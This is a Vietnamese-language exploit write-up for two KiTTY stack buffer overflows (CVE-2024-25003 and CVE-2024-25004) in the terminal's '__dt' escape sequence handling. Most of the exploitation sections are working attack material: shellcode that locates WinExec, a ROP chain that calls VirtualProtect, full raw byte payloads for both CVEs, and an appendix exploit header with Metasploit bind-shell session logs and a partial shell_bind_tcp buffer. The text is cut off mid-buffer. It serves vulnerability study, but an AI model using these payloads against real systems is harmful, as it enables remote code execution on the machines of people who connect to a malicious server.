# Buffer Overflow Vulnerabilities in KiTTY Start Duplicated Session Hostname (CVE-2024-25003) & Username (CVE-2024-25004) Variables # Phần 1: Tổng quan lỗ hổng KiTTY versions 0.76.1.13 và các phiên bản trước đó bị dính lỗ hổng stack-bases buffer overflow thông qua tên máy chủ (hostname - CVE-2024-25003) hoặc tên người dùng (username - CVE-2024-25004). Điều này xảy ra do không đủ giới hạn kiểm tra và vệ sinh đầu vào không đảm bảo. Điều này cho phép kẻ tấn công có thể ghi đè lên các phần bộ nhớ liền kê, dẫn đến việc thực thi mã tùy ý. Austin A. DeFrancesco (DEFCESCO) đã phát hiện ra hai lỗ hổng tràn bộ đệm dựa trên ngăn xếp trong KiTTY ( https://github.com/cyd01/KiTTY/ ). Các lỗ hổng này: - Có thể bị khai thác bởi bất kỳ người dùng KiTTY nào kết nối với máy chủ có mã khai thác được nhúng; - Các lỗ hổng bảo mật này được phát hiện trong bản phát hành gốc vào tháng 5 năm 2021 (commit 4f79b1e) và ảnh hưởng đến tất cả các phiên bản KiTTY ≤ 0.76.1.13 trong cấu hình mặc định của chúng. Austin đã phát triển một khai thác cho các lỗ hổng này và có được lệnh thực thi mã từ xa trong bối cảnh người dùng đang chạy ứng dụng; theo mặc định, KiTTY có thể được vận hành trong nhóm quyền người dùng của Người dùng chuẩn (Standard User). Các mã khai thác này chạy ổn định và có thể lặp lại trên tất cả các hệ điều hành Microsoft Windows 11/10/8/7/XP. # Phần 2: Phân tích lỗ hổng Các lỗ hổng bof CVE-2024-25003 và CVE-2024-25004 nằm trong file ``kitty.c``. Đoạn mã dễ bị tấn công nằm trên các dòng từ 2597 đến 2602; ở trong bản sửa đổi gần nhất ``75fa2abcd220c172`` ![image](https://hackmd.io/_uploads/r1Fw9hGEke.png) ```clike= if( (cmd[0]=='d')&&(cmd[1]=='t')&&(cmd[2]==':') ) { // __dt: start a duplicated session in same directory, same host and same user : dt() { printf "\033]0;__dt:"$(hostname)":"${USER}":"`pwd`"\007" ; } char host[1024]="";char user[256]=""; int i; if( RemotePath!= NULL ) free( RemotePath ) ; RemotePath = (char*) malloc( strlen( cmd ) - 2 ) ; strcpy(host,cmd+3);i=poss(":",host); strcpy(user,host+i); host[i-1]='\0'; i=poss(":",user); strcpy( RemotePath, user+i ) ; user[i-1]='\0'; RunSessionWithCurrentSettings( hwnd, conf, host, user, NULL, 0, RemotePath ) ; return 1 ; } ``` Nếu KiTTy gặp chuỗi thoát ANSI ``\033]0;__dt`` trong một luồng, chương trình sẽ hiểu đây là cấu trúc lệnh để tạo một câu lệnh để nhân đôi phiên terminal - \033: Đây là ký tự thoát (biểu diễn bát phân của ASCII ESC), báo hiệu sự bắt đầu của chuỗi thoát. - ]0;: Phần trình tự này cho biết một siêu lệnh sẽ được xác định. - ``__dt``:Đây là lệnh KiTTY dễ bị tấn công để sao chép thiết bị đầu cuối, lấy thông tin đầu vào là tên máy chủ và tên người dùng. - ``\077``:Đây là chuỗi kết thúc để chỉ ra sự kết thúc của chuỗi thoát. - Lệnh của KiTTY ``kitty.c`` ``__dt`` kiểm tra xem ba ký tự đầu tiên của chuỗi có phải cmdlà d, t, và :. Nếu điều kiện là đúng (ở dòng 2596), một mảng ``host`` và``user`` sẽ được khai báo với kích thước lần lượt là 1024 và 256 (ở dòng 2597) và được khởi tạo ở dạng một chuỗi rỗng. Khi đó: - CVE-2024-25003: trong đó tên máy chủ dễ bị stack-bases buffer overflow, xảy ra do kiểm tra giới hạn và vệ sinh đầu vào không đủ (tại dòng 2600). Điều này cho phép kẻ tấn công ghi đè lên bộ nhớ liền kề, dẫn đến thực thi mã tùy ý. - CVE-2024-25004: trong đó tên người dùng dễ bị stack-bases buffer overflow, xảy ra do kiểm tra giới hạn và khử trùng đầu vào không đủ (tại dòng 2600). Điều này cho phép kẻ tấn công ghi đè lên bộ nhớ liền kề, dẫn đến thực thi mã tùy ý. Bởi vì ``RemotePath`` được tạo ra từ kích thước được tính toán khi chạy, ``RemotePath`` sẽ không bị dính lỗ hổng tràn bộ đệm. Cần lưu ý rằng ``RemotePath`` có thể là một con trỏ ``NULL`` nếu phân bổ không thành công. - ``strcpy(host, cmd + 3);``: sao chép chuỗi con ``cmd`` bắt đầu từ ký tự thứ 4 (index 3) vào mảng ``host`` (tại dòng 2601). - ``i = poss(":", host);`` Hàm ``poss`` tìm vị trí của ``:`` ký tự trong chuỗi ``host`` và gán nó cho biến i (ở dòng 2601). - ``strcpy(user, host + i);`` sao chép chuỗi con ``host`` bắt đầu từ vị trí sau ``:`` vào mảng ``user`` (tại dòng 2602). # Phần 3: Khai thác CVE-2024-25003 ## Viết mã khai thác Như đã phân tích, để tiến hành nhân đôi phiên Terminal, đoạn đầu tiên của Payloaf truyền vào sẽ là chuỗi byte ``b'\033]0;__dt:'`` Cấu trúc cơ bản của Payload sẽ gồm: ``` `b'\033]0;__dt:'`` + shellcode + return_address + rop + lệnh chạy shellcode ``` ### Viết shellcode Vì sau shellcode sẽ là return address nên lúc này cần phải đảm bảo Shellcode phải đủ dài để có thể tràn đến ``EIP`` Mở chương trình bằng IDA, tham chiếu đến phần mã giả tương ứng với các dòng gây lỗi trong source code ![image](https://hackmd.io/_uploads/r1NEI6zVyg.png) Nhấp đúp vào ta sẽ thấy vị trí của biến ``Destination`` ta sẽ thấy vị trí của nó trên stack của hàm tại offset ``0x41C`` ![image](https://hackmd.io/_uploads/rkoKITzEkg.png) Lướt xuống dưới cùng, offset của EIP là 0x0 ![image](https://hackmd.io/_uploads/ryf2IaGEyg.png) Khi này, để đảm bảo đến được EIP, Shellcode sẽ có độ dài là 0x41C, tương ứng với 1052 kí tự Để phù hợp với môi trường thực nghiệm tạm thời, Shellcode sẽ được viết để gọi đến chương trình ``Calc``, một chương trình mô phỏng máy tính cầm tay đơn giản trên Windows ``` Disassembly: 0: b8 ad eb 4c ff mov eax,0xff4cebad 5: bb 11 11 11 ff mov ebx,0xff111111 a: 31 d8 xor eax,ebx ; 005DFABC CreateFileA KERNEL32 c: 8b 18 mov ebx,DWORD PTR [eax] e: 89 d8 mov eax,ebx 10: b9 f1 77 15 ff mov ecx,0xff1577f1 15: ba 11 11 11 ff mov edx,0xff111111 1a: 31 d1 xor ecx,edx ; 0x466e0: offset WinExec from CreateFileA 1c: 01 c8 add eax,ecx 1e: 89 c3 mov ebx,eax ; ebx = VA off WinExec 20: 31 c0 xor eax,eax 22: 50 push eax 23: 68 63 61 6c 63 push 0x636c6163 ; clac 28: 54 push esp 29: ff d3 call ebx ; WinExec("calc") ``` Shellcode này được viết dựa trên việc lấy địa chỉ của hàm ``WinExec``, bằng cách tính độ lệch của hàm này với API CreateFileA, một API được import sẵn trong ``kitty.exe``, với ``005DFABC`` là RVA của ``CreateFileA``, có thể xem được giá trị này trong subview import trên IDA. ``0x466e0`` là offset của hàm WinExec so với hàm ``CreateFileA``. Offset này sẽ khác nhau tùy theo cấu hình máy chạy chương trình. ![image](https://hackmd.io/_uploads/BylPu6f4kx.png) Việc còn lại là dịch lại esp và đệm thêm byte nop để đảm bảo shellcode dài đủ 1052 kí tự ```python= def shellcode(): sc = b'' sc += b'\xBB\x44\x24\x44\x44' # mov ebx,0x44442444 sc += b'\xB8\x44\x44\x44\x44' # mov eax,0x44444444 sc += b'\x29\xD8' # sub eax,ebx sc += b'\x29\xC4' # sub esp,eax sc += buf sc += b'\x90' * (1052-len(sc)) assert len(sc) == 1052 return sc ``` ### Create Rop Chain Mặc dù có Shellcode, tuy nhiên Shellcode có thể nằm trong vùng nhớ không có quyền thực thi. Vì vậy cần phải đảm bảo cho Shellcode có quyền thực thi bằng cách sử dụng các API cấp quyền thực thi cho vùng nhớ như Virtual Protect Bằng cách lợi dụng các đoạn Rop Chain, là những đoạn lệnh chương trình trước lệnh ret, ta có thể dựa vào đó để thiết lập trạng thái các thanh ghi cho chương trình, để đảm bảo chương trình có thể gọi tới hàm Virtual Protect mà không gặp vấn đề gì ```python= def create_rop_chain(): # rop chain generated with mona.py - www.corelan.be rop_gadgets = [ #[---INFO:gadgets_to_set_esi:---] 0x004c5832, # POP EAX # ADD ESP,14 # POP EBX # POP ESI # RETN [kitty.exe] 0x006424a4, # ptr to &VirtualProtect() [IAT kitty.exe] 0x41414141, # Filler (compensate) 0x41414141, # Filler (compensate) 0x41414141, # Filler (compensate) 0x41414141, # Filler (compensate) 0x41414141, # Filler (compensate) 0x41414141, # Filler (compensate) 0x41414141, # Filler (compensate) 0x00484e07, # MOV EAX,DWORD PTR DS:[EAX] # RETN [kitty.exe] 0x00473cf6, # XCHG EAX,ESI # RETN [kitty.exe] #[---INFO:gadgets_to_set_ebp:---] 0x00429953, # POP EBP # RETN [kitty.exe] 0x005405b0, # push esp; ret 0 [kitty.exe] #[---INFO:gadgets_to_set_ebx:---] 0x0049d9f9, # POP EBX # RETN [kitty.exe] 0x00000201, # 0x00000201-> ebx #[---INFO:gadgets_to_set_edx:---] 0x00430dce, # POP EDX # RETN [kitty.exe] 0x00000040, # 0x00000040-> edx #[---INFO:gadgets_to_set_ecx:---] 0x005ac58c, # POP ECX # RETN [kitty.exe] 0x004d81d9, # &Writable location [kitty.exe] #[---INFO:gadgets_to_set_edi:---] 0x004fa404, # POP EDI # RETN [kitty.exe] 0x005a2001, # RETN (ROP NOP) [kitty.exe] #[---INFO:gadgets_to_set_eax:---] 0x004cd011, # POP EAX # POP EBX # RETN [kitty.exe] 0x90909090, # nop 0x41414141, # Filler (compensate) #[---INFO:pushad:---] # 0x005dfbac, # PUSHAD # RETN [kitty.exe] 0x00529f38 # pushal; ret; ] return b''.join(struct.pack('<I', _) for _ in rop_gadgets) rop_chain = create_rop_chain() ``` Kết quả sau khi thực thi và Debug bằng WinDbg, có thể thấy chương trình đã gọi được hàm VirtualProtect ![image](https://hackmd.io/_uploads/rkGMCaf41e.png) Hàm VirtualProtect được gọi với các tham số: ```cpp= BOOL VirtualProtect( [in] LPVOID lpAddress, [in] SIZE_T dwSize, [in] DWORD flNewProtect, [out] PDWORD lpflOldProtect ); ``` Dựa vào đó ta có lệnh được thực thi như sau ```cpp= VirtualProtect(LPVOID(0084e940), 41414141, 40, (PDWORD)004d81d9); ``` Tham số đầu tiên là địa chỉ cần thay đổi quyền, là ``0084e940`` đây là địa chỉ của shellcode sau trên memory sau khi ghi tràn vào ![image](https://hackmd.io/_uploads/ryio0pz41x.png) Tham số thư hai đơn thuần là độ lớn của vùng nhớ được cấp quyền, tham số này chỉ cần lớn hơn độ dài shellcode là được Tham số thứ ba là 40, tương đương với enum ``PAGE_EXECUTE_READWRITE``. Điều này đảm bảo cấp quyền thực thi cho vùng nhớ Tham số thứ tư chỉ là con trỏ trỏ đến địa chỉ ghi lại giá trị quyền của vùng nhớ trước đó Tổng kết lại, mục địch của việc tạo Rop Chain trong trường hợp này là để gọi hàm VirtualProtect và cấp quyền cho vùng nhớ chứa Shellcode cần được thực thi ### Hoàn thiện Payload Phần cuối cùng của Payload chỉ là thêm lệnh ``jmp $eip-1490``, là địa chỉ của Shellcode, và đệm thêm một số lệnh nop vào ```python= escape_sequence += b'\x90' escape_sequence += b"\xE9\x2A\xFA\xFF\xFF" #jmp $eip-1490 escape_sequence += nops + b'\007' stdout = os.fdopen(sys.stdout.fileno(), 'wb') stdout.write(escape_sequence) stdout.flush() ``` Dưới đây là Payload thu được dùng để khai thác CVE-2024-25003 ``` b'\x1b]0;__dt:\xbbD$DD\xb8DDDD)\xd8)\xc4\xb8\xad\xebL\xff\xbb\x11\x11\x11\xff1\xd8\x8b\x18\x89\xd8\xb9\xf1w\x15\xff\xba\x11\x11\x11\xff1\xd1\x01\xc8\x89\xc31\xc0PhcalcT\xff\xd3\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90<\x03R\x00\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x902XL\x00\xa4$d\x00AAAAAAAAAAAAAAAAAAAAAAAAAAAA\x07NH\x00\xf6<G\x00S\x99B\x00\xb0\x05T\x00\xf9\xd9I\x00\x01\x02\x00\x00\xce\rC\x00@\x00\x00\x00\x8c\xc5Z\x00\xd9\x81M\x00\x04\xa4O\x00\x01 Z\x00\x11\xd0L\x00\x90\x90\x90\x90AAAA8\x9fR\x00\x90\xe9*\xfa\xff\xff\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x07' ``` Kết quả thực hiện khai thác CVE-2024-25003 ![image](https://hackmd.io/_uploads/r1ZlRm7VJe.png) # Phần 4: Khai thác CVE-2024-25004 Cách viết mã khai thác của CVE-2024-25004 cũng tương đối giống với CVE-2024-25003, chỉ là thay đổi 1 chút về phần đầu của Payload truyền vào và độ dài của Shellcode Để để tiến hành nhân đôi phiên Terminal, cấu trúc Payload sẽ có dạng ``` \033]0;__dt:hostname:username ``` CVE-2024-25004 khai thác vào lỗ hổng tràn bộ đệm của phần ``username``, khác với CVE-2024-25003 là phần ``hostname`` Vì vậy để khai thác ta cần có 1 ``hostname``, có thể lấy ``localhost`` làm hostname tạm thời để khai thác Khi ấy đoạn đầu payload sẽ trở thành ``` b'\033]0;__dt:localhost:' ``` Mảng Destination sẽ bắt đầu nhận data từ dấu ``:`` đầu tiên, tức là phần ``localhost:`` sẽ được ghi vào mảng. Như đã phân tích ở CVE-2024-25003, offset đến EIP vẫn là 1052, đoạn ``localhost:`` có độ dài là 10. Vậy nên trong trường hợp này Shellcode sẽ có độ dài là 1042. Việc còn lại chỉ là sửa lại len của Shellcode. Có thể giữ nguyên phần mã chính của Shellcode và phần Rop_Chain như CVE-2024-25003 ```python= def shellcode(): sc = b'' sc += b'\xBB\x44\x24\x44\x44' # mov ebx,0x44442444 sc += b'\xB8\x44\x44\x44\x44' # mov eax,0x44444444 sc += b'\x29\xD8' # sub eax,ebx sc += b'\x29\xC4' # sub esp,eax sc += buf sc += b'\x90' * (1042-len(sc)) assert len(sc) == 1042 return sc ``` Dưới đây là Payload thu được dùng để khai thác CVE-2024-25003 ``` b'\x1b]0;__dt:localhost:\xbbD$DD\xb8DDDD)\xd8)\xc4\xb8\xad\xebL\xff\xbb\x11\x11\x11\xff1\xd8\x8b\x18\x89\xd8\xb9\xf1w\x15\xff\xba\x11\x11\x11\xff1\xd1\x01\xc8\x89\xc31\xc0PhcalcT\xff\xd3\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90 \x97R\x00\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x902XL\x00\xa4$d\x00AAAAAAAAAAAAAAAAAAAAAAAAAAAA\x07NH\x00\xf6<G\x00S\x99B\x00\xb0\x05T\x00\xf9\xd9I\x00\x01\x02\x00\x00\xce\rC\x00@\x00\x00\x00\x8c\xc5Z\x00\xd9\x81M\x00\x04\xa4O\x00\x01 Z\x00\x11\xd0L\x00\x90\x90\x90\x90AAAA8\x9fR\x00\xe9=\xfa\xff\xff\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x07' ``` Kết quả thực hiện khai thác CVE-2024-25004 ![image](https://hackmd.io/_uploads/SJg_amX4kx.png) # Phụ lục: Code Exploit - CVE-2024-25003 ```python= # Exploit Title: KiTTY 0.76.1.13 - 'Start Duplicated Session Hostname' Buffer Overflow # Exploit Author: DEFCESCO (Austin A. DeFrancesco) # Vendor Homepage: https://github.com/cyd01/KiTTY/= # Software Link: https://github.com/cyd01/KiTTY/releases/download/v0.76.1.13/kitty-bin-0.76.1.13.zip # Version: ≤ 0.76.1.13 # Tested on: Microsoft Windows 11/10/8/7/XP # CVE: 2024-25003 #-------------------------------------------------------------------------------------# # Blog: https://blog.DEFCESCO.io/Hell0+KiTTY #-------------------------------------------------------------------------------------# # msf6 payload(windows/shell_bind_tcp) > to_handler # # [*] Payload Handler Started as Job 1 # # msf6 payload(windows/shell_bind_tcp) > # # [*] Started bind TCP handler against 192.168.100.28:4444 # # [*] Command shell session 1 opened (192.168.100.119:39315 -> 192.168.100.28:4444) # #-------------------------------------------------------------------------------------# import sys import os import struct #---------------------------------------------------------------------------------------------# # msf6 payload(windows/shell_bind_tcp) > generate -b '\x00\x07\x0a\x0d\x1b\x9c\x3A\x40' -f py # # windows/shell_bind_tcp - 375 bytes # # https://metasploit.com/ # # Encoder: x86/xor_poly # # VERBOSE=false, LPORT=4444, RHOST=192.168.100.28, # # PrependMigrate=false, EXITFUNC=process, CreateSession=true, # # AutoVerifySession=true # #---------------------------------------------------------------------------------------------# # buf = b"" # buf += b"\x51\x53\x56\x57\xdb\xd9\xd9\x74\x24\xf4\x5f\x41" # buf += b"\x49\x31\xc9\x51\x59\x90\x90\x81\xe9\xae\xff\xff" # buf += b"\xff\xbe\xd4\xa1\xc4\xf4\x31\x77\x2b\x83\xef\xfc" # buf += b"\x51\x59\x90\xff\xc9\x75\xf3\x5f\x5e\x5b\x59\x28" # buf += b"\x49\x46\xf4\xd4\xa1\xa4\x7d\x31\x90\x04\x90\x5f" # buf += 